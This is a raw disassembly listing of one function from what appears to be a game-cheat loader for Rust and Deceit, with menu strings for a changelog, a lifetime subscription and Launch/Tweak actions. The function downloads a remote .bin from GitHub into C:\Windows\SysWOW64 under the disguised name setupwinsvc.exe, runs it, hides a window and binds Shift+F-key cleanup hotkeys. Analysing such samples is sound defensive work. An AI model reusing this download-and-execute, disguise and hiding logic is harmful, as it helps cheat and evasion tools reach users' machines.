jmp 0x140048d78
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x1320]
lea rdx, [0x1400b94c0]
call fcn.1400381f0
call fcn.14000f8f0
mov r8, qword [0x1400b9280]
movsxd rax, dword [r8 + 0x4b00]
cmp eax, 1
jl 0x140048dbd
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4b08]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39e8], xmm0
dec dword [r8 + 0x4b00]
mov rax, qword [r8 + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [r8 + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adb4c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adc0c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
lea rcx, str.Version:_1.0.0
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adb4c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adc00]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
lea rcx, str.Change_Log:
call fcn.140035670
mov rbx, qword [0x1400b9280]
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rbx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm13
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adbfc]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x435c0000
mov dword [rsp + 0x44], 0x43480000
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rbx, qword [rbx + 0x4070]
movsxd r8, dword [rbx + 0x108]
mov rax, qword [rbx + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.Changelog
call fcn.140006df0
mov edi, eax
mov r8, qword [rbx]
cmp dword [r8 + 0x40c4], eax
jne 0x140048f49
lea r8, str.Changelog
mov edx, 0xc
mov ecx, eax
call fcn.140020cf0
mov dword [rsp + 0x20], r12d
mov r9d, 1
lea r8, [rsp + 0x40]
mov edx, edi
lea rcx, str.Changelog
call fcn.14000f4d0
lea rcx, str.__New_Menu
call fcn.140035670
lea rcx, str.__Recoded_Cleaning_Functions
call fcn.140035670
call fcn.14000f8f0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm12
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
movss xmm6, dword [0x1400adbf8]
addss xmm0, xmm6
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
movdqa xmm0, xmmword [0x1400ae300]
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.Game:
lea rcx, [rsp + 0x40]
call fcn.1400356e0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
movss xmm0, dword [rax + 0x28]
subss xmm1, dword [rax + 0x9c]
subss xmm0, dword [rax + 0x98]
addss xmm1, xmm12
mov byte [rax + 0x159], 1
movss dword [rax + 0x11c], xmm1
cmp dword [0x1400b92fc], r12d
jne 0x140049064
addss xmm0, dword [0x1400adc14]
lea rcx, str.Rust
jmp 0x140049073
addss xmm0, dword [0x1400adc10]
lea rcx, str.Deceit
movss dword [rax + 0x118], xmm0
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm6
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
movdqa xmm0, xmmword [0x1400ae300]
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.Subscribtion:
lea rcx, [rsp + 0x40]
call fcn.1400356e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400adcb0]
movdqu xmmword [rbp - 0x80], xmm1
mov byte [rsp + 0x70], r12b
mov r8d, 8
lea rdx, str.LifeTime
lea rcx, [rsp + 0x70]
call fcn.14004b9a0
nop
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov rbx, qword [0x1400b9280]
movss xmm6, dword [0x1400adc4c]
test rax, rax
jne 0x140049150
movaps xmm1, xmm10
jmp 0x14004919f
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
movss xmm3, dword [0x1400adc3c]
movss xmm2, dword [rbx + 0x3d88]
lea rdx, [rsp + 0x40]
mov rcx, qword [rbx + 0x3d80]
call fcn.140031a60
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [0x1400adadc]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov rdx, qword [rbx + 0x4070]
cmp qword [rdx + 0x1c0], 0
jne 0x1400491bf
cmp qword [rbx + 0x4e88], 0
mov eax, 0x268
je 0x1400491c4
mov eax, 0x238
movss xmm0, dword [rdx + rax]
subss xmm0, dword [rdx + 0x118]
subss xmm0, xmm1
subss xmm0, xmm11
movaps xmm1, xmm6
call fcn.140019200
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
lea rcx, [0x140055314]
call fcn.140035670
mov r8, qword [0x1400b9280]
movsxd rax, dword [r8 + 0x4b00]
cmp eax, 1
jl 0x140049239
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4b08]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39e8], xmm0
dec dword [r8 + 0x4b00]
mov rax, qword [r8 + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [r8 + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adc04]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm9
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x437a0000
mov dword [rsp + 0x44], 0x41f00000
lea rdx, [rsp + 0x40]
lea rcx, str.Launch
call fcn.140035fe0
test al, al
je 0x140049323
cmp byte [0x1400b927f], 0
je 0x1400492ce
call fcn.140045fa0
mov byte [0x1400b927f], 0
xor r8d, r8d
call fcn.140042220
cmp dword [0x1400b92fc], 0
jne 0x140049304
mov eax, dword [0x1400b94d4]
test eax, eax
jne 0x1400492f0
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlIntAlk.bin
mov r8d, 0x43
jmp 0x140049311
cmp eax, 1
jne 0x140049304
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlExtAlk.bin
mov r8d, 0x43
jmp 0x140049311
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlDec.bin
mov r8d, 0x40
mov rcx, rsi
call fcn.14004b9a0
mov dword [0x1400b80c0], 3
mov ecx, 1
call fcn.140008650
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14004936d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049368
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049368
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005025c
movdqa xmm0, xmmword [0x1400adcb0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
movss xmm9, dword [0x1400adb28]
movss xmm12, dword [0x1400adbe8]
movss xmm13, dword [0x1400adbb8]
movss xmm11, dword [0x1400adbc4]
cmp dword [0x1400b80c0], 3
jne 0x140049c7d
mov eax, dword [r15 + r13]
cmp dword [0x1400b9524], eax
jle 0x1400493f8
lea rcx, [0x1400b9524]
call fcn.140050068
cmp dword [0x1400b9524], 0xffffffff
jne 0x1400493f8
mov rax, qword [0x1400b9280]
movsd xmm0, qword [rax + 0x3fb0]
cvtpd2ps xmm0, xmm0
movss dword [0x1400b9500], xmm0
lea rcx, [0x1400b9524]
call fcn.14004fffc
mov rbx, qword [0x1400b9280]
movsd xmm0, qword [rbx + 0x3fb0]
cvtpd2ps xmm0, xmm0
movaps xmm6, xmm0
subss xmm6, dword [0x1400b9500]
movss dword [0x1400b9500], xmm0
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
mov dword [rbx + 0x38f8], 0x3f800000
cmp byte [0x1400b94c4], 0
jne 0x1400495c3
movss xmm0, dword [0x1400b86cc]
movss xmm1, dword [0x1400adb08]
comiss xmm0, xmm1
jbe 0x14004947d
subss xmm0, xmm1
movaps xmm8, xmm7
subss xmm8, xmm0
jmp 0x140049481
movaps xmm8, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm8
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adb94]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
mov eax, dword [0x1400b92a0]
cmp eax, 1
jne 0x14004952e
movdqa xmm0, xmmword [0x1400ae220]
movups xmmword [rsp + 0x40], xmm0
lea r9, [rsp + 0x40]
jmp 0x14004954f
cmp eax, 2
jne 0x14004953d
movdqa xmm0, xmmword [0x1400ae2e0]
jmp 0x140049545
movdqa xmm0, xmmword [0x1400ae2d0]
movups xmmword [rsp + 0x60], xmm0
lea r9, [rsp + 0x60]
movss xmm0, dword [0x1400adaf8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1400adb10]
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [0x1400adb14]
movss xmm8, dword [0x1400adb84]
movaps xmm1, xmm8
call fcn.14003f2c0
mov ecx, 1
call fcn.140008650
movss xmm0, dword [0x1400b86cc]
subss xmm0, xmm6
movaps xmm1, xmm10
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b86cc], xmm0
comiss xmm10, xmm0
jb 0x140049b46
mov byte [0x1400b94c4], 1
jmp 0x140049b46
cmp byte [0x1400b94d0], 0
jne 0x1400498e2
movss xmm0, dword [0x1400b86e0]
subss xmm0, xmm6
movaps xmm1, xmm10
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b86e0], xmm0
comiss xmm0, xmm9
jbe 0x140049602
subss xmm0, xmm9
movaps xmm6, xmm7
subss xmm6, xmm0
jmp 0x140049605
movaps xmm6, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm6
cmp qword [0x1400b86a8], 0xf
cmova rsi, qword [0x1400b8690]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSysWOW64_setupwinsvc.exe
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, r12d
test eax, eax
setne cl
mov dword [0x1400b93a0], ecx
test eax, eax
jne 0x1400497d0
cmp byte [0x1400b868c], al
je 0x140049710
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.C:WindowsSysWOW64_setupwinsvc.exe
lea rcx, [rsp + 0x40]
call fcn.14004cf30
lea rcx, [rsp + 0x40]
call fcn.140042840
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400496f6
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400496f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400496f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005025c
movdqa xmm0, xmmword [0x1400adcb0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov byte [0x1400b868c], 0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm12
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm13
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x3f20a0a1
mov dword [rsp + 0x44], 0x3f57d7d8
mov dword [rsp + 0x48], 0x3e8c8c8d
movss dword [rsp + 0x4c], xmm6
lea rdx, [0x1400ad670]
lea rcx, [rsp + 0x40]
call fcn.1400356e0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm15
lea rcx, str.Successfully_Launched_
jmp 0x140049887
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm12
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm13
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
mov qword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x48], 0
movss dword [rsp + 0x4c], xmm6
lea rdx, [0x1400ad690]
lea rcx, [rsp + 0x40]
call fcn.1400356e0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbd0]
lea rcx, str.Failed_to_Launch_
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm11
mov byte [rax + 0x159], 1
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm1
call fcn.140035670
mov ecx, 1
call fcn.140008650
movss xmm8, dword [0x1400adb84]
comiss xmm10, dword [0x1400b86e0]
jb 0x140049b46
mov byte [0x1400b94d0], 1
jmp 0x140049b46
cmp dword [0x1400b93a0], 0
jne 0x140049c71
movss xmm0, dword [0x1400b86c8]
subss xmm0, xmm6
movss xmm8, dword [0x1400ada7c]
movaps xmm1, xmm8
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b86c8], xmm0
movss xmm1, dword [0x1400adb3c]
comiss xmm0, xmm1
jbe 0x140049930
subss xmm0, xmm1
movaps xmm6, xmm7
subss xmm6, xmm0
jmp 0x140049933
movaps xmm6, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm6
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbdc]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adbbc]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
cvttss2si edx, dword [0x1400b86c8]
lea rcx, str.Hiding_in__d
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbb4]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm11
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
lea rcx, str.Press_Shift__F1_to_clean_up_your_PC.
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbac]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adbcc]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
lea rcx, str.Also_press_Shift__F2_to_close_the_cleaner.
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbb0]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adbd8]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
lea rcx, str.Also_press_Shift__F3_for_relaunch_cheat.
call fcn.140035670
mov ecx, 1
call fcn.140008650
comiss xmm8, dword [0x1400b86c8]
jb 0x140049b3d
mov rdx, qword [0x1400b92f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movss xmm8, dword [0x1400adb84]
mov ecx, 1
call fcn.140008650
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049b8b
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049b8b
call fcn.140046260
mov edx, 0xc8
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049bc1
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049bc1
mov edx, 0xc8
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049c86
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140049c86
mov byte [0x1400b80c4], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.C:WindowsSysWOW64_setupwinsvc.exe
lea rcx, [rsp + 0x40]
call fcn.14004cf30
lea rcx, [rsp + 0x40]
call fcn.140042840
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140049c62
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049c5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049c5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005025c
mov edx, 0xc8
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
jmp 0x140049c86
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movss xmm8, dword [0x1400adb84]
cmp dword [0x1400b80c0], 6
jne 0x14004a08f
mov byte [0x1400b927a], 0
mov byte [0x1400b92a8], 0
mov eax, dword [r15 + r13]
cmp dword [0x1400b9518], eax
jle 0x140049ce9
lea rcx, [0x1400b9518]
call fcn.140050068
cmp dword [0x1400b9518], 0xffffffff
jne 0x140049ce9
mov rax, qword [0x1400b9280]
movsd xmm0, qword [rax + 0x3fb0]
cvtpd2ps xmm0, xmm0
movss dword [0x1400b94fc], xmm0
lea rcx, [0x1400b9518]
call fcn.14004fffc
mov rbx, qword [0x1400b9280]
movsd xmm0, qword [rbx + 0x3fb0]
cvtpd2ps xmm0, xmm0
movaps xmm6, xmm0
subss xmm6, dword [0x1400b94fc]
movss dword [0x1400b94fc], xmm0
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
mov dword [rbx + 0x38f8], 0x3f800000
cmp byte [0x1400b9279], 0
jne 0x140049e9b
movss xmm0, dword [0x1400b80cc]
movss xmm1, dword [0x1400adb08]
comiss xmm0, xmm1
jbe 0x140049d69
subss xmm0, xmm1
subss xmm7, xmm0
jmp 0x140049d6c
movaps xmm7, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rsp + 0x40]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm7
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adb94]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
cmp dword [0x1400b92a0], 1
jne 0x140049e1a
movdqa xmm0, xmmword [0x1400ae220]
movups xmmword [rbp + 0x1330], xmm0
lea r9, [rbp + 0x1330]
jmp 0x140049e30
movdqa xmm0, xmmword [0x1400ae2e0]
movups xmmword [rbp + 0x1320], xmm0
lea r9, [rbp + 0x1320]
movss xmm0, dword [0x1400adaf8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1400adb10]
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [0x1400adb14]
movaps xmm1, xmm8
call fcn.14003f2c0
mov ecx, 1
call fcn.140008650
movss xmm0, dword [0x1400b80cc]
subss xmm0, xmm6
movaps xmm1, xmm10
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b80cc], xmm0
comiss xmm10, xmm0
jb 0x14004a08f
mov byte [0x1400b9279], 1
jmp 0x14004a08f
cmp byte [0x1400b927e], 0
jne 0x14004a08f
movss xmm0, dword [0x1400b80c8]
subss xmm0, xmm6
movaps xmm1, xmm10
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b80c8], xmm0
comiss xmm0, xmm9
jbe 0x140049ed7
subss xmm0, xmm9
subss xmm7, xmm0
jmp 0x140049eda
movaps xmm7, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rbp + 0x1320], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rbp + 0x1324], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rbp + 0x1320]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm7
mov rcx, qword [0x1400b9280]
movss dword [rbp + 0x132c], xmm7
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
lea rcx, [rbp + 0x1320]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
addss xmm1, xmm12
addss xmm0, xmm13
mov byte [rax + 0x159], 1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
cmp byte [0x1400b927d], 0
je 0x140049fe3
mov dword [rbp + 0x1320], 0x3f20a0a1
mov dword [rbp + 0x1324], 0x3f57d7d8
mov dword [rbp + 0x1328], 0x3e8c8c8d
lea rdx, [0x1400ad670]
call fcn.1400356e0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm15
lea rcx, str.Successfully_Tweaked_
jmp 0x14004a03c
mov qword [rbp + 0x1320], 0x3f800000
mov dword [rbp + 0x1328], 0
lea rdx, [0x1400ad690]
call fcn.1400356e0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x1400adbd0]
lea rcx, str.Failed_to_Tweak_
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm11
mov byte [rax + 0x159], 1
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm1
call fcn.140035670
mov ecx, 1
call fcn.140008650
comiss xmm10, dword [0x1400b80c8]
jb 0x14004a08f
mov byte [0x1400b927e], 1
mov dword [0x1400b80c0], 2
call fcn.140014eb0
call fcn.14000edc0
mov rax, qword [0x1400b9280]
mov rcx, qword [rax + 0x4b98]
mov rcx, qword [rcx]
add rcx, 0x50
cmp byte [rcx], 0
cmove rcx, r12
call fcn.1400015e0
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.14004ffa0
lea r11, [rsp + 0x1560]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm15, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret